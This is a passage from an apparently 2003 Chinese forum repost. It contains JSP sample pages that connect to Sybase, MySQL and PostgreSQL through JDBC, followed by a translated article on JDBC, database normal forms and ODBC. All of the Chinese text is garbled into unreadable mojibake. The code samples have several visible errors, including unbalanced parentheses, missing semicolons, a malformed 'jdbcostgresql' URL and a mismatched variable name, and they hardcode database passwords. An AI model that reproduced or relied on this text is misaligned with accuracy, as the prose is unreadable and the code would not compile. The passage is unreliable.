while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã";%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
Îå¡¢jspÁ¬½ÓSybaseÊý¾Ý¿â
testmysql.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("com.sybase.jdbc.SybDriver".newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/tsdata";
//tsdataΪÄãµÄÊý¾Ý¿âÃû
Properties sysProps = System.getProperties();
SysProps.put("user","userid";
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
Áù¡¢jspÁ¬½ÓMySQLÊý¾Ý¿â
testmysql.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/softforum?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
//testDBΪÄãµÄÊý¾Ý¿âÃû
Connection conn= DriverManager.getConnection(url);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
Æß¡¢jspÁ¬½ÓPostgreSQLÊý¾Ý¿â
testmysql.jspÈçÏ£º
<%@ page contentType="text/html;charset=gb2312"%>
<%@ page import="java.sql.*"%>
<html>
<body>
<%Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbcostgresql://localhost/soft"
//softΪÄãµÄÊý¾Ý¿âÃû
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String sql="select * from test";
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()) {%>
ÄúµÄµÚÒ»¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(1)%>
ÄúµÄµÚ¶þ¸ö×Ö¶ÎÄÚÈÝΪ£º<%=rs.getString(2)%>
<%}%>
<%out.print("Êý¾Ý¿â²Ù×÷³É¹¦£¬¹§Ï²Äã");%>
<%rs.close();
stmt.close();
conn.close();
%>
</body>
</html>
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-15 13:27
ʹÓÃJDBC´´½¨Êý¾Ý¿â¶ÔÏó¡·  
£Û ×÷ÕߣºØýÃû    תÌù×Ô£º±¾Õ¾Ô­´´    µã»÷Êý£º3    ¸üÐÂʱ¼ä£º2003-11-26    ÎÄÕ¼È룺cxmy £Ý

James W. Cooper
IBM T.J. Watson Ñо¿ÖÐÐÄ
1998 Äê 5 ÔÂ

Õª×Ô£ºJava 1.1 ÖÐÃæÏò¶ÔÏó±à³ÌµÄÔ­Àí

¡¡

ÕªÒª
±¾ÎÄ·ÖÎöÁËJava DataBase Connectivity (JDBC)£¬Ò»¸öÔÚ Java ÖÐÒÔÃæÏò¶ÔÏóµÄ·½·¨À´Á¬½ÓÊý¾Ý¿âµÄ¼¼Êõ¡£ËüÊÇ¶Ô ODBC API ½øÐеÄÒ»ÖÖÃæÏò¶ÔÏóµÄ·â×°ºÍÖØÐÂÉè¼Æ£¬ËüÒ×ÓÚѧϰºÍʹÓ㬲¢ÇÒËüÄܹ»Ê¹Äú±àд²»ÒÀÀµ¹©Ó¦É̵ĴúÂ룬ÓÃÒÔ²éѯºÍ²Ù×ÝÊý¾Ý¿â¡£JDBC ÌṩÁËһЩÏ൱µÍ²ãµÄ·½·¨À´´æÈ¡Êý¾Ý¿â£¬Í¬Ê±Ò²ÔÚÏ൱¸ß²ãÌṩÁ˹¦ÄÜÇ¿´óµÄ¶ÔÏóÀ´´¦ÀíÊý¾Ý¿â¡£

ʲôÊÇÊý¾Ý¿â£¿
Êý¾Ý¿âÊÇÒÔijÖÖÎļþ½á¹¹´æ´¢µÄһϵÁÐÐÅÏ¢±í£¬ÕâÖÖÎļþ½á¹¹Ê¹ÄúÄܹ»·ÃÎÊÕâЩ±í¡¢Ñ¡Ôñ±íÖеÄÁС¢¶Ô±í½øÐÐÅÅÐòÒÔ¼°¸ù¾Ý¸÷ÖÖ±ê׼ѡÔñÐС£Êý¾Ý¿âͨ³£Óжà¸ö Ë÷ÒýÓëÕâЩ±íÖеÄÐí¶àÁÐÏà¹ØÁª£¬ËùÒÔÎÒÃÇÄܾ¡¿ÉÄÜ¿ìµØ·ÃÎÊÕâЩ±í¡£
ÔÚ½øÐмÆËãʱ£¬Êý¾Ý¿â±ÈÆäËüÀàÐ͵Ľṹ¸ü³£Óá£Äú»á·¢ÏÖÔÚÔ±¹¤¼Ç¼ºÍн×ÊϵͳÖÐÊý¾Ý¿â´¦ÓÚºËÐĵØ룬ÔÚÂÃÐмƻ®ÏµÍ³ÖÐÒÔ¼°ÔÚ²úÆ·Éú²úºÍÏúÊÛµÄÕû¸ö¹ý³ÌÖж¼¿ÉÒÔ·¢ÏÖÊý¾Ý¿â¡£

ÒÔÔ±¹¤¼Ç¼ΪÀý£¬Äú¿ÉÒÔÉèÏëÒ»¸öº¬ÓÐÔ±¹¤ÐÕÃû¡¢µØÖ·¡¢¹¤×Ê¡¢¿ÛË°ÒÔ¼°½òÌùµÈÄÚÈÝµÄ±í¡£ÈÃÎÒÃÇ¿¼ÂÇÒ»ÏÂÕâЩÄÚÈÝ¿ÉÄÜÈçºÎ×éÖ¯ÔÚÒ»Æð¡£Äú¿ÉÒÔÉèÏëÒ»¸ö±í°üº¬Ô±¹¤ÐÕÃû¡¢µØÖ·ºÍµç»°ºÅÂë¡£ÄúÏ£Íû±£´æµÄÆäËüÐÅÏ¢¿ÉÄÜ°üÀ¨¹¤×Ê¡¢¹¤×Ê·¶Î§¡¢ÉϴμÓнʱ¼ä¡¢Ï´μÓнʱ¼ä¡¢Ô±¹¤Òµ¼¨ÆÀ¶¨µÈÄÚÈÝ¡£

ÕâЩÄÚÈÝÊÇ·ñÓ¦±£´æÔÚÒ»¸ö±í¸ñÖУ¿¼¸ºõ¿ÉÒԿ϶¨²»Ó¦¸ÃÈç´Ë¡£²»Í¬Àà±ðµÄÔ±¹¤µÄ¹¤×Ê·¶Î§¿ÉÄÜûÓÐÇø±ð£»ÕâÑù£¬Äú¿ÉÒÔ½ö½«Ô±¹¤ÀàÐÍ´¢´æÔÚÔ±¹¤¼Ç¼±íÖУ¬¶ø½«¹¤×Ê·¶Î§´¢´æÔÚÁíÒ»¸ö±íÖУ¬Í¨¹ýÀàÐͱàºÅÓëÕâ¸ö±í¹ØÁª¡£¿¼ÂÇÒÔÏÂÇé¿ö£º


Key Lastname SalaryType SalaryType Min Max
1 Adams 2 1 30000 45000
2 Johnson 1 2 45000 60000
3 Smyth 3 3 60000 75000
4 Tully 1
5 Wolff 2

SalaryType ÁÐÖеÄÊý¾ÝÒýÓõڶþ¸ö±í¡£ÎÒÃÇ¿ÉÒÔÏëÏó³öÐí¶àÖÖÕâÑùµÄ±í£¬ÈçÓÃÓÚ´æ´¢¾Óס³ÇÊкÍÿ¸ö³ÇÊеÄË°Öµ¡¢½¡¿µ¼Æ»®¿Û³ý½ð¶îµÈµÄ±í¡£Ã¿¸ö±í¶¼ÓÐÒ»¸öÖ÷¼üÁУ¨ÈçÉÏÃæÁ½¸ö±íÖÐ×î×ó±ßµÄÁУ©ºÍÈô¸ÉÊý¾ÝÁС£ÔÚÊý¾Ý¿âÖн¨Á¢±í¸ñ¼ÈÊÇÒ»ÃÅÒÕÊõ£¬Ò²ÊÇÒ»ÃÅ¿Æѧ¡£ÕâЩ±íµÄ½á¹¹ÓÉËüÃÇµÄ ·¶Ê½Ö¸³ö¡£ÎÒÃÇͨ³£Ëµ±íÊôÓÚµÚÒ»¡¢µÚ¶þ»òµÚÈý·¶Ê½£¬¼ò³ÆΪ 1NF¡¢2NF »ò 3NF¡£

µÚÒ»·¶Ê½£º±íÖеÄÿ¸ö±íÔªÓ¦¸ÃÖ»ÓÐÒ»¸öÖµ£¨ÓÀÔ¶²»¿ÉÄÜÊÇÒ»¸öÊý×飩¡£(1NF)

µÚ¶þ·¶Ê½£ºÂú×ã 1NF£¬²¢ÇÒÿһ¸ö¸±¼üÁÐÍêÈ«ÒÀÀµÓÚÖ÷¼üÁС£Õâ±íʾÖ÷¼üºÍ¸ÃÐÐÖеÄÊ£Óà±íÔªÖ®¼äÊÇ 1 ¶Ô 1 µÄ¹Øϵ¡£(2NF)

µÚÈý·¶Ê½£ºÂú×ã 2NF£¬²¢ÇÒËùÓи±¼üÁÐÊÇ»¥Ïà¶ÀÁ¢µÄ¡£ÈκÎÒ»¸öÊý¾ÝÁÐÖаüº¬µÄÖµ¶¼²»ÄÜ´ÓÆäËûÁеÄÊý¾Ý¼ÆËãµÃµ½¡£(3NF)

ÏÖÔÚ£¬¼¸ºõËùÓеÄÊý¾Ý¿â¶¼ÊÇ»ùÓÚ¡°µÚÈý·¶Ê½ (3NF)¡±´´½¨µÄ¡£ÕâÒâζ×Åͨ³£¶¼ÓÐÏ൱¶àµÄ±í£¬Ã¿¸ö±íÖеÄÐÅÏ¢Áж¼Ïà¶Ô½ÏÉÙ¡£

´ÓÊý¾Ý¿âÖлñÈ¡Êý¾Ý
¼ÙÉèÎÒÃÇÏ£ÍûÉú³ÉÒ»¸ö°üº¬Ô±¹¤¼°Æ乤×Ê·¶Î§µÄ±í£¬ÔÚÎÒÃÇÉè¼ÆµÄÒ»¸öÁ·Ï°Öн«Ê¹ÓÃÕâ¸ö±í¡£Õâ¸ö±í¸ñ²»ÊÇÖ±½Ó´æÔÚÔÚÊý¾Ý¿âÖУ¬µ«¿ÉÒÔͨ¹ýÏòÊý¾Ý¿â·¢³öÒ»¸ö²éѯÀ´¹¹½¨Ëü¡£ÎÒÃÇÏ£ÍûµÃµ½ÈçÏÂËùʾµÄÒ»¸ö±í£º

Name Min Max
Adams $45,000.00 $60,000.00
Johnson $30,000.00 $45,000.00
Smyth $60,000.00 $75,000.00
Tully $30,000.00 $45,000.00
Wolff $45,000.00 $60,000.00

»òÕߣ¬°´ÕÕ¹¤×ʵÝÔöµÄ˳ÐòÅÅÐò


Name Min Max
Tully $30,000.00 $45,000.00
Johnson $30,000.00 $45,000.00
Wolff $45,000.00 $60,000.00
Adams $45,000.00 $60,000.00
Smyth $60,000.00 $75,000.00

ÎÒÃÇ·¢ÏÖ£¬»ñµÃÕâЩ±íµÄ²éѯÐÎʽÈçÏÂËùʾ

SELECT DISTINCTROW Employees.Name, SalaryRanges.Min,
SalaryRanges.Max FROM Employees INNER JOIN SalaryRanges ON Employees.SalaryKey = SalaryRanges.SalaryKey
ORDER BY SalaryRanges.Min;


ÕâÖÖÓïÑÔ³ÆΪ½á¹¹»¯²éѯÓïÑÔ£¬¼´ SQL£¨Ò»°ã¶Á×÷ "sequel"£©£¬¶øÇÒËüÊǼ¸ºõÄ¿Ç°ËùÓÐÊý¾Ý¿â¶¼¿ÉÒÔʹÓõÄÒ»ÖÖÓïÑÔ¡£Õ⼸ÄêÒÑ°ä²¼ÁËÈôÓÚ SQL ±ê×¼£¬¶øÇÒ´ó¶àÊý PC Êý¾Ý¿âÖ§³Ö´ó²¿·Ö ANSI ±ê×¼¡£SQL-92 ±ê×¼±»ÈÏΪÊÇÒ»ÖÖ»ù´¡±ê×¼£¬¶øÇÒÒѸüжà´Î¡£È»¶ø£¬Ã»ÓÐÒ»ÖÖÊý¾Ý¿â¿ÉÒÔÍêÃÀµØÖ§³ÖºóÀ´µÄ SQL °æ±¾£¬¶øÇÒ´ó¶àÊýÊý¾Ý¿â¶¼ÌṩÁ˶àÖÖ SQL À©Õ¹£¬ÒÔÖ§³ÖËûÃÇÊý¾Ý¿â¶ÀÓеÄÐÔÄÜ¡£
Êý¾Ý¿âµÄÖÖÀà
ÓÉÓÚ PC ÒѳÉΪÖ÷ÒªµÄ°ì¹«¹¤¾ß£¬Òò´Ë£¬ÒÑ¿ª·¢³öÔÚ PC ÉϵĴóÁ¿Á÷ÐеÄÊý¾Ý¿â£¬ÕâЩÊý¾Ý¿â¶¼ÊÇ¿ÉÒÔ×Ô¹ÜÀíµÄ¡£ËüÃÇ°üÀ¨³õ¼¶Êý¾Ý¿â£¬Èç Microsoft Works£¬»¹°üÀ¨¸üΪ¸´ÔÓµÄÊý¾Ý¿â£¬Èç Approach¡¢ dBase¡¢Borland Paradox¡¢Microsoft Access ºÍ FoxBase¡£
ÁíÒ»Àà PC Êý¾Ý¿â°üÀ¨ÄÇЩ¿ÉÓÉÐí¶à PC ¿Í»§»úͨ¹ý·þÎñÆ÷·ÃÎʵÄÊý¾Ý¿â¡£ÆäÖаüÀ¨ IBM DB/2¡¢Microsoft SQL Server¡¢ Oracle¡¢Sybase¡¢SQLBase ºÍ XDB¡£ËùÓÐÕâЩÊý¾Ý¿â²úÆ·¶¼Ö§³Ö¶àÖÖÏà¶ÔÀàËÆµÄ SQL ·½ÑÔ£¬Òò´Ë£¬ËùÓÐÊý¾Ý¿â×î³õ¿´ÆðÀ´ºÃÏó¿ÉÒÔ»¥»»¡£µ±È»£¬ËüÃÇ ²»ÄÜ»¥»»µÄÔ­ÒòÊÇÿÖÖÊý¾Ý¿â¶¼Óв»Í¬µÄÐÔÄÜÌØÕ÷£¬¶øÇÒÿһÖÖ¶¼Óв»Í¬µÄÓû§½çÃæºÍ±à³Ì½Ó¿Ú¡£Äú¿ÉÄÜ»áÏ룬¼ÈÈ»ËüÃǶ¼Ö§³Ö SQL£¬¶ÔËüÃǽøÐеıà³ÌÒ²Ó¦¸ÃÏàËÆ£¬µ«ÕâÊǾø¶Ô´íÎóµÄ£¬ÒòΪÿÖÖÊý¾Ý¿â¶¼Ê¹ÓÃÆä×Ô¼º·½Ê½½ÓÊÕ SQL ²éѯ£¬²¢Ê¹ÓÃÆä×Ô¼ºµÄ·½Ê½·µ»Ø½á¹û¡£Õâ¾Í×ÔÈ»Òý³öÁËÒ»ÖÖÐÂÒ»´úµÄ±ê×¼£ºODBC

ODBC
Èç¹ûÎÒÃÇÄܹ»ÒÔijÖÖ·½Ê½±àд²»ÒÀÀµÓÚÌض¨³§É̵ÄÊý¾Ý¿âµÄ´úÂ룬²¢ÇÒÄܹ»²»¸Ä±ä×Ô¼ºµÄµ÷ÓóÌÐò¼´¿É´ÓÕâЩÊý¾Ý¿âÖеõ½ÏàͬµÄ½á¹û£¬Äǽ«ÊÇÒ»¼þºÜºÃµÄÊ¡£Èç¹ûÎÒÃÇ¿ÉÒÔ½öΪËùÓÐÕâЩÊý¾Ý¿â±àдһЩ·â×°£¬Ê¹ËüÃǾßÓÐÏàËƵıà³Ì½Ó¿Ú£¬ÕâÖÖ¶ÔÊý¾Ý¿â±à³Ì¶ÀÁ¢ÓÚ¹©Ó¦É̵ÄÌØÐÔ½«ºÜÈÝÒ×ʵÏÖ¡£
Microsoft ÓÚ 1992 ÄêÊ×Ïȳ¢ÊÔÁËÕâÒ»¼¼ÇÉ£¬¸Ã¹«Ë¾·¢²¼ÁËÒ»¸ö¹æ·¶£¬³ÆΪ¶ÔÏóÊý¾Ý¿âÁ¬½ÓÐÔ¡£Õâ±»ÈÏΪÊÇÔÚ Windows »·¾³ÏÂÁ¬½ÓËùÓÐÊý¾Ý¿âµÄ´ð°¸¡£ÓëËùÓÐÈí¼þµÄµÚÒ»¸ö°æ±¾Ïàͬ£¬ËüÒ²¾­ÀúÁËһЩ·¢Õ¹µÄÀ§ÈÅ£¬ÔÚ 1994 ÄêÍƳöÁËÁíÒ»¸ö°æ±¾£¬¸Ã°æ±¾ÔËÐÐËٶȸü¿ì£¬¶øÇÒ¸üΪÎȶ¨¡£ËüÒ²ÊǵÚÒ»¸ö 32 λµÄ°æ±¾¡£ÁíÍ⣬ODBC ¿ªÊ¼Ïò Windows Ö®ÍâµÄÆäËüƽ̨·¢Õ¹£¬µ½Ä¿Ç°ÎªÖ¹£¬ËüÔÚ PC ºÍ¹¤×÷Õ¾ÁìÓòÒÑÊ®·ÖÆձ顣¼¸ºõÿ¸öÖ÷ÒªµÄÊý¾Ý¿â³§É̶¼Ìṩ ODBC Çý¶¯³ÌÐò¡£

È»¶ø£¬ODBC ²¢²»ÊÇÎÒÃÇ×î³õÏëÏóµÄÁ鵤ÃîÒ©¡£Ðí¶àÊý¾Ý¿â³§É̶¼½« ODBC ×÷ΪÆä±ê×¼½Ó¿ÚÖ®ÍâµÄ¡°±¸Ñ¡½Ó¿Ú¡±£¬¶øÇÒ¶Ô ODBC µÄ±à³Ì΢²»×ãµÀ¡£ÓëÆäËü Windows ±à³ÌÒ»Ñù£¬Ëü°üÀ¨¾ä±ú¡¢Ö¸ÕëºÍÑ¡ÏʹÆäÄÑÒÔÕÆÎÕ¡£×îºóÒ»µã£¬ODBC ²»ÊÇÖÐÁ¢µÄ±ê×¼¡£ËüÓÉ Microsoft ¹«Ë¾¿ª·¢£¬²¢Óɸù«Ë¾²»¶Ï¸Ä½ø£¬¶ø΢ÈíͬʱҲÍƳöÁËÎÒÃÇËùÓÐÈËËùʹÓõļ«¾ß¾ºÕùÐÔµÄÈí¼þƽ̨,ÕâʹµÃODBCµÄδÀ´ÄÑÒÔÔ¤²â¡£

ʲôÊÇ JDBC£¿
JDBC ÊÇÒ»×éÊ××ÖĸËõд£¬Ôø¾­´ú±í¡°Java DataBase Connectivity¡±£¬µ«ÏÖÔÚËü±¾ÉíÒѳÉΪһ¸öÉ̱ê·ûºÅ¡£ËüÊÇ¶Ô ODBC API ½øÐеÄÒ»ÖÖÃæÏò¶ÔÏóµÄ·â×°ºÍÖØÐÂÉè¼Æ£¬ËüÒ×ÓÚѧϰºÍʹÓ㬲¢ÇÒËüÕæÕýÄܹ»Ê¹Äú±àд²»ÒÀÀµ³§É̵ĴúÂ룬ÓÃÒÔ²éѯºÍ²Ù×ÝÊý¾Ý¿â¡£¾¡¹ÜËüÓëËùÓÐ Java API Ò»Ñù£¬¶¼ÊÇÃæÏò¶ÔÏóµÄ£¬µ«Ëü²¢²»ÊǺܸ߼¶±ðµÄ¶ÔÏ󼯣¬ÔÚ±¾ÕµÄÊ£Óಿ·Ö£¬ÎÒÃǽ«Ìá³ö¸ü¸ß¼¶±ðµÄ·½·¨¡£
³ý Microsoft Ö®Í⣬¶àÊý³§É̶¼²ÉÓÃÁË JDBC£¬²¢ÎªÆäÊý¾Ý¿âÌṩÁË JDBC Çý¶¯³ÌÐò£»ÕâʹÄú¿ÉÇáËɵØÕæÕý±àд¼¸ºõÍêÈ«²»ÒÀÀµÊý¾Ý¿âµÄ´úÂë¡£ÁíÍ⣬JavaSoft ºÍ Intersolv ÒÑ¿ª·¢ÁËÒ»ÖÖ³ÆΪ JDBC-ODBC Bridge µÄ²úÆ·£¬¿ÉʹÄúÁ¬½Ó»¹Ã»ÓÐÖ±½ÓµÄ JDBC Çý¶¯³ÌÐòµÄÊý¾Ý¿â¡£Ö§³Ö JDBC µÄËùÓÐÊý¾Ý¿â±ØÐëÖÁÉÙ¿ÉÒÔÖ§³Ö SQL-92 ±ê×¼¡£ÕâÔںܴó³Ì¶ÈÉÏʵÏÖÁË¿çÊý¾Ý¿âºÍƽ̨µÄ¿ÉÒÆÖ²ÐÔ¡£

°²×°ºÍʹÓà JDBC
JDBC µÄÀ඼±»¹éµ½ java.sql °üÖУ¬ÔÚ°²×° Java JDK 1.1 »ò¸ü¸ß°æ±¾Ê±»á×Ô¶¯°²×°¡£È»¶ø£¬Èç¹ûÄúÏëʹÓà JDBC-ODBC ÇÅ£¬»¹±ØÐë°²×°Á½¸öÁíÍâµÄ³ÌÐò°ü¡£Ê×ÏÈ£¬Èç¹ûÄúʹÓà Windows 95£¬Ôò±ØÐ뽫ÄúµÄ ODBC Çý¶¯³ÌÐòÉý¼¶Îª 32 λÇý¶¯³ÌÐò£¬Äú¿É´Ó Microsoft µÄÍøÕ¾ÏÂÔØ¡£Õâ¸öÇý¶¯³ÌÐòÔÚ Microsoft µÄÍøÕ¾ÉϺÜÄÑÕÒµ½£»ÇëËÑË÷ DataAcc.exe ²¢½øÐÐÏÂÔغͰ²×°¡£
JDBC-ODBC Çý¶¯³ÌÐò¿É´Ó Sun µÄ Java ÍøÕ¾ (http://java.sun.com) ÇáËɵØÕÒµ½²¢ÏÂÔØ¡£ÔÚÄúÀ©³ä²¢°²×°ÁËÕâ¸öÇý¶¯³ÌÐòºó£¬±ØÐëÖ´ÐÐÏÂÁв½Ö裺

½« \jdbc-odbc\classes; ·¾¶Ìí¼Óµ½ÄúµÄ PATH »·¾³±äÁ¿ÖС£
½« \jdbc-odbc\classes; ·¾¶Ìí¼Óµ½ÄúµÄ CLASSPATH »·¾³±äÁ¿ÖС£
ÔÚ Windows 95 »·¾³Ï£¬½«ËüÃÇ·ÅÈë autoexec.bat ÎļþÖУ¬ÖØÐÂÒýµ¼£¬ÒÔʹËùÓÐÉèÖÃÉúЧ¡£
ÔÚ Windows NT »·¾³Ï£¬½«ËüÃÇÌí¼Óµ½¡°¿ØÖÆÃæ°å¡±ÖС°ÏµÍ³¡±¶ÔÏóµÄ¡°»·¾³¡±Ñ¡ÏÖУ¬Í˳ö²¢ÖØеǼ£¬ÒÔʹÆäÉúЧ¡£
JDBC Çý¶¯³ÌÐòµÄÀàÐÍ
Java ³ÌÐòÁ¬½ÓÊý¾Ý¿âµÄ·½·¨Êµ¼ÊÉÏÓÐËÄÖÖ£º
JDBC-ODBC ÇÅºÍ ODBC Çý¶¯³ÌÐò -- ÔÚÕâÖÖ·½Ê½Ï£¬ÕâÊÇÒ»¸ö±¾µØ½â¾ö·½°¸£¬ÒòΪ ODBC Çý¶¯³ÌÐòºÍÇÅ´úÂë±ØÐë³öÏÖÔÚÓû§µÄÿ̨»úÆ÷ÖС£´Ó¸ù±¾ÉÏ˵ÕâÊÇÒ»¸öÁÙʱ½â¾ö·½°¸¡£

±¾»ú´úÂëºÍ Java Çý¶¯³ÌÐò -- ËüÓÃÁíÒ»¸ö±¾µØ½â¾ö·½°¸£¨¸Ãƽ̨É쵀 Java ¿Éµ÷Óõı¾»ú´úÂ룩ȡ´ú ODBC ºÍ JDBC-ODBC ÇÅ¡£

JDBC ÍøÂçµÄ´¿ Java Çý¶¯³ÌÐò -- ÓÉ Java Çý¶¯³ÌÐò·­ÒëµÄ JDBC Ðγɴ«Ë͸ø·þÎñÆ÷µÄ¶ÀÁ¢Ð­Ò顣Ȼºó£¬·þÎñÆ÷¿ÉÁ¬½ÓÈκÎÊýÁ¿µÄÊý¾Ý¿â¡£ÕâÖÖ·½·¨Ê¹Äú¿ÉÄÜ´Ó¿Í»§»ú Applet Öе÷Ó÷þÎñÆ÷£¬²¢½«½á¹û·µ»Øµ½ÄúµÄ Applet¡£ÔÚÕâÖÖÇé¿öÏ£¬Öмä¼þÈí¼þÌṩÉÌ¿ÉÌṩ·þÎñÆ÷¡£

±¾»úЭÒé Java Çý¶¯³ÌÐò -- Java Çý¶¯³ÌÐòÖ±½Óת»»Îª¸ÃÊý¾Ý¿âµÄЭÒé²¢½øÐе÷Óá£ÕâÖÖ·½·¨Ò²¿ÉÒÔͨ¹ýÍøÂçʹÓ㬶øÇÒ¿ÉÒÔÔÚ Web ä¯ÀÀÆ÷µÄ Applet ÖÐÏÔʾ½á¹û¡£ÔÚÕâÖÖÇé¿öÏ£¬Ã¿¸öÊý¾Ý¿â³§É̽«ÌṩÇý¶¯³ÌÐò¡£
Èç¹ûÄúÏ£Íû±àд´úÂëÀ´´¦Àí PC ¿Í»§»úÊý¾Ý¿â£¬Èç dBase¡¢Foxbase »ò Access£¬ÔòÄú¿ÉÄÜ»áʹÓõÚÒ»ÖÖ·½·¨£¬²¢ÇÒÓµÓÐÓû§»úÆ÷ÉϵÄËùÓдúÂë¡£¸ü´óµÄ¿Í»§»ú-·þÎñÆ÷Êý¾Ý¿â²úÆ·£¨Èç IBM µÄ DB2£©ÒÑÌṩÁËµÚ 3 ¼¶±ðµÄÇý¶¯³ÌÐò¡£
Á½²ãÄ£ÐͺÍÈý²ãÄ£ÐÍ
µ±Êý¾Ý¿âºÍ²éѯËüµÄÓ¦ÓóÌÐòÔÚͬһ̨»úÆ÷ÉÏ£¬¶øÇÒûÓзþÎñÆ÷´úÂëµÄ¸ÉԤʱ£¬ÎÒÃǽ«Éú³ÉµÄ³ÌÐò³ÆΪ Á½²ãÄ£ÐÍ¡£Ò»²ãÊÇÓ¦ÓóÌÐò£¬¶øÁíÒ»²ãÊÇÊý¾Ý¿â¡£ÔÚ JDBC-ODBC ÇÅϵͳÖÐͨ³£ÊÇÕâÖÖÇé¿ö¡£
µ±Ò»¸öÓ¦ÓóÌÐò»ò applet µ÷Ó÷þÎñÆ÷£¬·þÎñÆ÷ÔÙÈ¥µ÷ÓÃÊý¾Ý¿âʱ£¬ÎÒÃdzÆÆäΪÈý²ãÄ£ÐÍ¡£µ±Äúµ÷ÓóÆΪ¡°·þÎñÆ÷¡±µÄ³ÌÐòʱͨ³£ÊÇÕâÖÖÇé¿ö¡£

±àд JDBC ´úÂë·ÃÎÊÊý¾Ý¿â
ÏÖÔÚ£¬ÎÒÃǽ«¿ªÊ¼¿´Ò»ÏÂÈçºÎ±àд Java ³ÌÐòÀ´·ÃÎÊÊý¾Ý¿â¡£ÎÒÃÇҪʹÓõÄÊý¾Ý¿âÊÇÒ»¸ö³ÆΪ groceries.mdb µÄ Microsoft Access Êý¾Ý¿â¡£´ËÊý¾Ý¿âÖеÄÊý¾ÝÓÉÈý¸ö±¾µØÔÓ»õµêÖÐһЩ³£¼ûÉÌÆ·µÄ¼Û¸ñ×é³É¡£Ê³Æ·±íÈçÏÂËùʾ£º

FoodKey FoodName
1 Apples
2 Oranges
3 Hamburger
4 Butter
5 Milk
6 Cola
7 Green beans

ÔÓ»õµê±íÈçÏÂËùʾ£º


StoreKey StoreName
1 Stop and Shop
2 Village Market
3 Waldbaum¡äs

ÔÓ»õµê¶¨¼Û±í½öÓÉÕâÈý¸ö±í¸ñÖеļüÖµºÍ¼Û¸ñ×é³É£º


FSKey StoreKey FoodKey Price
1 1 1 $0.27
2 2 1 $0.29
3 3 1 $0.33
4 1 2 $0.36
5 2 2 $0.29
6 3 2 $0.47
7 1 3 $1.98
8 2 3 $2.45
9 3 3 $2.29
10 1 4 $2.39
11 2 4 $2.99
12 3 4 $3.29
13 1 5 $1.98
14 2 5 $1.79
15 3 5 $1.89
16 1 6 $2.65
17 2 6 $3.79
18 3 6 $2.99
19 1 7 $2.29
20 2 7 $2.19
21 3 7 $1.99


Óà ODBC ×¢²áÄúµÄÊý¾Ý¿â
ÔÚ Windows 95 »ò NT »·¾³Ï·ÃÎÊ ODBC Êý¾Ý¿â֮ǰ£¬±ØÐëʹÓÿØÖÆÃæ°åÖеÄODBC Çý¶¯³ÌÐò¶ÔËü½øÐÐ×¢²á¡£ÔÚ Windows 95 »·¾³Ï£¬¾ÍÊÇ¡°¿ØÖÆÃæ°å¡±³ÌÐòÖÐµÄ ODBC ͼ±ê¡£ÔÚ Windows NT »·¾³Ï£¬Äú»áÔÚ¡°¿ªÊ¼¡±²Ëµ¥ÖÐÕÒµ½´Ë³ÌÐò¡££¨Èç¹ûÕÒ²»µ½£¬ÄúÐèÒª°²×°ÉÏÊöµÄ ODBC Çý¶¯³ÌÐò£¬¼´ WX1350.exe£©¡£
